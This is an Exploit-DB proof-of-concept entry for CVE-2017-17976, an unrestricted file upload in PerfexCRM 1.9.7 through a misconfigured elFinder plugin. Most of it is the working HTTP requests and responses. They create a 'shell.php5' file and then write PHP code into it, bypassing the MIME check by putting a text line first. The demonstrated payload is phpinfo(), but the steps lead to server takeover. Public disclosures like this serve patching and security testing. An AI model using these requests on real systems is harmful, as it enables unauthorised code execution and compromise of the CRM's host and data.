PerfexCRM 1.9.7 - Arbitrary File Upload

EDB-ID: 43590
Author: Ahmad Mahfouz
Published: 2018-01-15
CVE: CVE-2017-17976
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Exploit Author: Ahmad Mahfouz  
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-17976
# Version: v1.9.7
# Software Link: https://www.perfexcrm.com/



# bypassing the misconfigured file upload with file .php5



GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]


JSON Response:

{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}



#bypass the file content restriction by adding TEXT line to represent mime type text


Request


POST /admin/utilities/elfinder_init HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Connection: close



cmd=put&target=[folder]&encoding=UTF-8&content=demo



newline to represent text mime type

<?php

phpinfo();

?>



HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Length: 167



{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]}

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